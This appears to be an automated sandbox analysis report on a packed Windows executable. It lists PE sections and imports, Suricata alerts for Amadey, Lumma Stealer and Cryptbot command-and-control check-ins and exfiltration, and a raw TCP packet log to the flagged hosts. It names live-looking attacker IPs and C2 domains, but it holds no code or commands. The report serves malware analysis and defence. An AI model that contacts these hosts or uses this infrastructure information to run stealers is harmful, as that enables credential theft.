IMAGE_DIRECTORY_ENTRY_TLS	0x317ac4	0x18	odogmioi
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f92d87158327e6a8eb26f058fb243e34	False	0.9983448995231607	data	7.98706266210044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
odogmioi	0x6b000	0x2ad000	0x2acc00	2972f2c11cea85f0e790bdd8c2aa53d3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qyfccaeh	0x318000	0x1000	0x400	fbf7d7e5ce0fb9aa223cc07b503ccd72	False	0.7998046875	data	6.113914213267524	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x319000	0x3000	0x2200	98197306e5c4f4eff32e7d9cbb377559	False	0.06043198529411765	DOS executable (COM)	0.7008245897258651	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T14:10:07.087243+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49742	185.215.113.43	80	TCP
2024-12-19T14:10:11.782555+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	31.41.244.11	80	TCP
2024-12-19T14:10:16.264516+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49748	TCP
2024-12-19T14:10:17.611468+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49773	185.215.113.43	80	TCP
2024-12-19T14:10:19.114682+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	31.41.244.11	80	TCP
2024-12-19T14:10:25.749344+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:10:26.016663+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49795	185.215.113.43	80	TCP
2024-12-19T14:10:26.297314+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:10:26.297314+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:10:27.477777+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	31.41.244.11	80	TCP
2024-12-19T14:10:27.563638+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:10:28.604267+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:10:28.604267+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:10:30.341327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49808	172.67.177.88	443	TCP
2024-12-19T14:10:32.711336+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	172.67.177.88	443	TCP
2024-12-19T14:10:35.048986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49823	172.67.177.88	443	TCP
2024-12-19T14:10:38.316190+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49829	185.215.113.43	80	TCP
2024-12-19T14:10:38.568475+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49832	172.67.177.88	443	TCP
2024-12-19T14:10:39.335846+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49832	172.67.177.88	443	TCP
2024-12-19T14:10:39.765532+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	31.41.244.11	80	TCP
2024-12-19T14:10:42.057406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	172.67.177.88	443	TCP
2024-12-19T14:10:45.955933+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	172.67.177.88	443	TCP
2024-12-19T14:10:46.842500+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49855	185.215.113.43	80	TCP
2024-12-19T14:10:46.905186+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49854	172.67.177.88	443	TCP
2024-12-19T14:10:48.337591+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49859	31.41.244.11	80	TCP
2024-12-19T14:10:52.527126+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49870	185.215.113.43	80	TCP
2024-12-19T14:10:53.996034+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49873	31.41.244.11	80	TCP
2024-12-19T14:10:59.263380+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49886	185.215.113.43	80	TCP
2024-12-19T14:10:59.639726+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	60384	1.1.1.1	53	UDP
2024-12-19T14:10:59.971588+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	64794	1.1.1.1	53	UDP
2024-12-19T14:11:00.758223+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49892	31.41.244.11	80	TCP
2024-12-19T14:11:01.603308+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:01.603308+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:02.914898+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:02.914898+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:03.566715+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49902	172.67.179.109	443	TCP
2024-12-19T14:11:03.566715+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49902	172.67.179.109	443	TCP
2024-12-19T14:11:11.407158+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.4	64048	1.1.1.1	53	UDP
2024-12-19T14:11:11.803008+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49921	185.215.113.43	80	TCP
2024-12-19T14:11:12.735822+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49923	176.53.146.212	80	TCP
2024-12-19T14:11:12.965589+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:12.965589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:13.262808+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49928	31.41.244.11	80	TCP
2024-12-19T14:11:14.013486+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:14.013486+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:14.827176+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49936	176.53.146.212	80	TCP
2024-12-19T14:11:15.270779+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:15.270779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:16.103905+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:16.103905+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:18.725134+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49943	104.21.66.85	443	TCP
2024-12-19T14:11:18.725134+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49943	104.21.66.85	443	TCP
2024-12-19T14:11:19.717896+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49943	104.21.66.85	443	TCP
2024-12-19T14:11:21.218692+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49952	104.21.66.85	443	TCP
2024-12-19T14:11:21.218692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49952	104.21.66.85	443	TCP
2024-12-19T14:11:24.455829+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49965	176.53.146.212	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 14:10:05.619498014 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:05.739016056 CET	80	49742	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:05.739106894 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:05.744982004 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:05.864434004 CET	80	49742	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:07.087162018 CET	80	49742	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:07.087243080 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.597040892 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.597327948 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.718149900 CET	80	49742	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:08.718358994 CET	49742	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.718786955 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:08.718863964 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.719027996 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:08.906111002 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:10.098995924 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:10.099088907 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:10.099318981 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:10.099381924 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:10.330813885 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:10.330931902 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:10.335737944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:10.455369949 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:10.455466032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:10.455693960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:10.575402975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782476902 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782555103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.782676935 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782737017 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782754898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.782808065 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782814980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.782821894 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782835960 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.782891035 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.783029079 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.783031940 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.783046961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.783063889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.783075094 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.783096075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.783152103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.902165890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.902286053 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.902331114 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.902456045 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.906713963 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.906776905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.906801939 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.906816959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.973134041 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.973248005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.973261118 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.973357916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.975630045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.975680113 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.975702047 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.975769997 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.984127045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.984179974 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.984215021 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.984257936 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.992434978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.992496967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:11.992532969 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:11.992552996 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.000782013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.000834942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.000861883 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.000910044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.009217024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.009282112 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.009284973 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.009344101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.018256903 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.018270016 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.018388987 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.026041985 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.026110888 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.026177883 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.034406900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.034420967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.034626961 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.043669939 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.043759108 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.043823957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.044025898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.050384045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.050432920 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.050492048 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.050534964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.057734013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.057882071 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.058119059 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.058119059 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.093020916 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.093096972 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.168282032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.168366909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.168437004 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.168520927 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.170895100 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.170908928 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.170960903 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.174912930 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.175066948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.175086021 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.175167084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.179207087 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.179251909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.179317951 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.179492950 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.183727026 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.183737040 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.183866024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.188014030 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.188127995 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.188182116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.188261986 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.192848921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.192929029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.193008900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.193062067 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.196938992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.197046995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.197124958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.201322079 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.201448917 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.201481104 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.201550007 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.205718994 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.205773115 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.205857038 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.205915928 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.210047007 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.210128069 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.210200071 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.210282087 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.215918064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.216069937 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.216109037 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.216154099 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.218941927 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.218998909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.219115973 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.219177961 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.223498106 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.223511934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.223689079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.223689079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.226887941 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.226989985 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.227200985 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.227338076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.230448008 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.230528116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.230551958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.230602980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.233735085 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.233886003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.234062910 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.235048056 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.237229109 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.237303019 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.237380981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.237443924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.240789890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.240926981 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.240998983 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.241238117 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.244260073 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.244375944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.244618893 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.247435093 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.247692108 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.248152971 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.360652924 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.360847950 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.360938072 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.361064911 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.362119913 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.362205982 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.362312078 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.362464905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.364921093 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.364975929 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.365058899 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.365216970 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.367666960 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.367733955 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.367795944 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.367877960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.370628119 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.370671034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.370707989 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.370776892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.373527050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.373580933 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.373653889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.373707056 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.375773907 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.375832081 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.375873089 CET	80	49754	31.41.244.11	192.168.2.4
